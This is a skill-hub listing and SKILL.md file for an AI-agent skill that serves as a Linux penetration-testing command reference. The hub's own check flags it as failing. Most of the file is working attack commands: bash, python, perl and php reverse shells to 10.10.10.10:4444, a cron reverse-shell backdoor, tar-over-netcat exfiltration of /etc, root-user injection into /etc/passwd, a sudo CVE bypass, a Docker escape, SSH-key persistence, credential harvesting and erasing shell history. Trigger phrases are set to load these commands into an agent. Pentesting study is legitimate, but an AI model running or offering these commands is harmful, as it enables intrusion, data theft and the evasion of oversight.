linux-pentesting-commands
Practical Linux command reference for penetration testing, reconnaissance, enumeration, exploitation, and privilege escalation.
Savant verdict: Review advised
Security analysis or source-hub review identified patterns requiring attention.
Live evaluation
Not evaluated yet. Workspaces can request a live evaluation.
Security assessment
Scan pending.
Structure
- No license declaredConfirm you may reuse this skill before importing it into your repository.
- The source hub's security checks flagged this skillGen Agent Trust Hub: fail (This skill provides a comprehensive collection of commands for penetration testing that include high-risk patterns such as remote code execution, data exfiltration, and persistence mechanisms. These commands are designed to gain unauthorized access, escalate privileges, and steal sensitive data if executed by an agent.)
SKILL.md
---
name: linux-pentesting-commands
description: Practical Linux command reference for penetration testing, reconnaissance, enumeration, exploitation, and privilege escalation.
triggers:
- "show me Linux commands for pentesting"
- "how do I enumerate services on Linux"
- "what commands help with privilege escalation"
- "help me with Linux reconnaissance commands"
- "show pentesting command examples"
- "how to do post-exploitation on Linux"
- "what are common Linux exploitation techniques"
- "help with Linux security testing commands"
---
# Linux Pentesting Commands Skill
> Skill by [ara.so](https://ara.so) — Security Skills collection.
This skill provides expertise in using the **Linux-for-a-Pentester** repository, a curated collection of practical Linux commands for penetration testing. The repository covers reconnaissance, enumeration, exploitation, privilege escalation, and post-exploitation phases with real-world command examples.
## What This Project Does
Linux-for-a-Pentester is a knowledge base of shell commands organized by penetration testing phases:
- **General Commands**: Essential Linux survival commands
- **Reconnaissance**: Local and network discovery
- **Enumeration**: Service and user data deep-diving
- **Exploitation**: Initial access techniques
- **Privilege Escalation**: Getting root access
- **Post-Exploitation**: Persistence and lateral movement
- **Cheatsheets**: Quick reference one-liners
## Installation
Clone the repository for offline reference:
```bash
git clone https://github.com/HIMANSHUSHARMA20/Linux-for-a-Pentester.git
cd Linux-for-a-Pentester
```
Or browse individual module directories as needed during engagements.
## Repository Structure
```
Linux-for-a-Pentester/
├── 00-General-Commands/ # Basic Linux commands
├── 01-Recon/ # Reconnaissance techniques
├── 02-Enumeration/ # Service enumeration
├── 03-Exploitation/ # Exploitation methods
├── 04-Privilege-Escalation/ # PrivEsc techniques
├── 05-Post-Exploitation/ # Post-compromise actions
└── Cheatsheets/ # Quick reference guides
```
## Key Command Categories
### General Commands (00-General-Commands)
Essential commands for navigating and managing Linux systems:
```bash
# System information
uname -a # Kernel version and architecture
cat /etc/os-release # Distribution information
hostname # System hostname
whoami # Current user
id # User and group IDs
# File operations
find / -name "*.conf" 2>/dev/null # Find config files
grep -r "password" /etc 2>/dev/null # Search for passwords
ls -la /home # List user directories
which python python3 # Locate executables
# Process management
ps aux # List all processes
netstat -tulpn # Network connections (deprecated)
ss -tulpn # Socket statistics (modern)
lsof -i :80 # Files/processes on port 80
```
### Reconnaissance (01-Recon)
Local and network discovery commands:
```bash
# Network reconnaissance
ip a # Network interfaces (modern)
ifconfig # Network interfaces (legacy)
ip route # Routing table
arp -a # ARP cache
cat /etc/hosts # Static host mappings
cat /etc/resolv.conf # DNS configuration
# Port scanning
nc -zv 192.168.1.1 1-1000 # Port scan with netcat
for p in {1..1000}; do (echo >/dev/tcp/192.168.1.1/$p) 2>/dev/null && echo "$p open"; done
# User enumeration
cat /etc/passwd # System users
cat /etc/group # System groups
w # Logged in users
last # Login history
lastlog # Last login per user
# Environment
env # Environment variables
echo $PATH # Executable search path
history # Command history
cat ~/.bash_history # Bash command history
```
### Enumeration (02-Enumeration)
Deep service and configuration analysis:
```bash
# SUID/SGID files (privilege escalation vectors)
find / -perm -4000 -type f 2>/dev/null # SUID binaries
find / -perm -2000 -type f 2>/dev/null # SGID binaries
find / -perm -u=s -type f 2>/dev/null # Alternative SUID search
# Capabilities
getcap -r / 2>/dev/null # Files with capabilities
# Writable directories
find / -writable -type d 2>/dev/null # All writable dirs
find / -perm -222 -type d 2>/dev/null # World-writable dirs
find / -perm -o w -type d 2>/dev/null # Others can write
# Cron jobs (scheduled tasks)
cat /etc/crontab # System crontab
ls -la /etc/cron.* # Cron directories
crontab -l # Current user's crontab
cat /var/spool/cron/crontabs/* 2>/dev/null
# Services and daemons
systemctl list-units --type=service # SystemD services
service --status-all # SysV init services
cat /etc/services # Port to service mapping
# Installed software
dpkg -l # Debian/Ubuntu packages
rpm -qa # RedHat/CentOS packages
which gcc g++ python perl # Compiler availability
```
### Exploitation (03-Exploitation)
Initial access and shell techniques:
```bash
# Reverse shells
bash -i >& /dev/tcp/10.10.10.10/4444 0>&1
nc -e /bin/bash 10.10.10.10 4444
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
# Shell upgrading
python -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Then: Ctrl+Z, stty raw -echo; fg, export TERM=xterm
# File transfers
# On attacker: python3 -m http.server 8000
wget http://10.10.10.10:8000/exploit.sh
curl http://10.10.10.10:8000/exploit.sh -o exploit.sh
nc -lvp 4444 > received_file # Receiver
nc 10.10.10.10 4444 < file_to_send # Sender
# SSH techniques
ssh user@target -p 2222 # Custom port
ssh -i id_rsa user@target # Key-based auth
ssh -L 8080:localhost:80 user@target # Local port forward
ssh -D 9050 user@target # SOCKS proxy
```
### Privilege Escalation (04-Privilege-Escalation)
Commands for escalating to root:
```bash
# Sudo exploitation
sudo -l # Check sudo privileges
sudo -u#-1 /bin/bash # CVE-2019-14287 (sudo < 1.8.28)
# Kernel exploits
uname -a # Kernel version
cat /proc/version # Detailed kernel info
searchsploit kernel 4.4.0 # Search for kernel exploits
# Writable /etc/passwd
openssl passwd -1 -salt xyz password123
echo 'hacker:$1$xyz$hash:0:0:root:/root:/bin/bash' >> /etc/passwd
# Path hijacking
echo '/bin/bash' > /tmp/ls
chmod +x /tmp/ls
export PATH=/tmp:$PATH
# LD_PRELOAD exploitation
# Create malicious .so library
gcc -fPIC -shared -o /tmp/exploit.so exploit.c -nostartfiles
sudo LD_PRELOAD=/tmp/exploit.so program
# NFS no_root_squash
showmount -e target # List NFS shares
mount -o rw target:/share /mnt
# Create SUID binary in mounted share
# Docker escape
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
```
### Post-Exploitation (05-Post-Exploitation)
Persistence and data exfiltration:
```bash
# Persistence
# SSH key installation
mkdir -p ~/.ssh
echo "ssh-rsa AAAAB3..." >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
# Cron backdoor
(crontab -l; echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'") | crontab -
# Data exfiltration
tar czf - /etc | base64 | nc 10.10.10.10 4444
find /home -name "*.pdf" -exec cp {} /tmp/loot/ \;
# Credential harvesting
cat /home/*/.bash_history | grep -E 'ssh|mysql|password'
grep -r "password=" /var/www 2>/dev/null
find / -name "*.config" -o -name "*.conf" 2>/dev/null | xargs grep -i pass
# Cleanup
history -c # Clear session history
rm ~/.bash_history # Remove history file
unset HISTFILE # Disable history logging
```
## Common Patterns
### Automated Enumeration Scripts
```bash
# LinPEAS (Linux Privilege Escalation Awesome Script)
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | bash
# Or download and run:
wget http://attacker-ip:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
# LinEnum
./LinEnum.sh -t # Thorough tests
```
### One-Liner Web Server
```bash
# Python 3
python3 -m http.server 8000
# Python 2
python -m SimpleHTTPServer 8000
# PHP
php -S 0.0.0.0:8000
# Ruby
ruby -run -ehttpd . -p8000
```
### File Permission Checks
```bash
# Find files owned by specific user
find / -user www-data 2>/dev/null
# Find files with no owner
find / -nouser 2>/dev/null
# Recently modified files
find / -mtime -1 -type f 2>/dev/null
# Files modified in last 10 minutes
find / -mmin -10 -type f 2>/dev/null
```
## Troubleshooting
### Command Not Found
**Problem**: Common tools missing on target system.
**Solution**: Use alternatives or native shell built-ins:
```bash
# No netcat? Use bash:
bash -c 'exec 3<>/dev/tcp/10.10.10.10/4444; cat <&3 & cat >&3; kill $!'
# No wget/curl? Use scripting:
exec 3<>/dev/tcp/attacker-ip/80
echo -e "GET /file HTTP/1.0\n" >&3
cat <&3
```
### Python Not Available
**Problem**: No Python installed for reverse shells.
**Solution**: Use other interpreters:
```bash
# Perl reverse shell
perl -e 'use Socket;$i="10.10.10.10";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
# PHP reverse shell
php -r '$sock=fsockopen("10.10.10.10",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
```
### Restricted Shell Escape
**Problem**: Stuck in restricted shell (rbash).
**Solution**: Common escape techniques:
```bash
# SSH with command execution
ssh user@target -t "bash --noprofile"
# Language interpreters
python -c 'import os; os.system("/bin/bash")'
# Vi/Vim escape
vi
:set shell=/bin/bash
:shell
# AWK escape
awk 'BEGIN {system("/bin/bash")}'
```
### TTY Shell Issues
**Problem**: Non-interactive shell without tab completion.
**Solution**: Upgrade to full TTY:
```bash
# Method 1: Python
python -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm
# Method 2: Script
/usr/bin/script -qc /bin/bash /dev/null
# Method 3: Expect
expect -c 'spawn /bin/bash; interact'
```
## Best Practices
1. **Always redirect stderr**: Add `2>/dev/null` to avoid permission errors cluttering output
2. **Check alternatives**: If modern tools fail, try legacy versions (e.g., `netstat` vs `ss`)
3. **Document findings**: Keep notes on what works for each target OS/version
4. **Test safely**: Understand command impact before running on production systems
5. **Use full paths**: Avoid PATH hijacking by using `/usr/bin/command` instead of `command`
## Integration with Other Tools
These commands complement common pentesting tools:
```bash
# After nmap scan, enumerate further
nmap -sV -p- target -oN scan.txt
cat scan.txt | grep open
# Feed into exploitation frameworks
# Use discovered services with Metasploit, etc.
# Combine with automated scanners
nikto -h http://target
gobuster dir -u http://target -w /usr/share/wordlists/dirb/common.txt
```
## References
Navigate to specific directories in the repository for detailed command lists:
- `/00-General-Commands/` - Basic Linux operations
- `/01-Recon/` - Reconnaissance techniques
- `/02-Enumeration/` - Enumeration commands
- `/03-Exploitation/` - Exploitation methods
- `/04-Privilege-Escalation/` - PrivEsc techniques
- `/05-Post-Exploitation/` - Post-compromise actions
- `/Cheatsheets/` - Quick reference guides
**Repository**: https://github.com/HIMANSHUSHARMA20/Linux-for-a-Pentester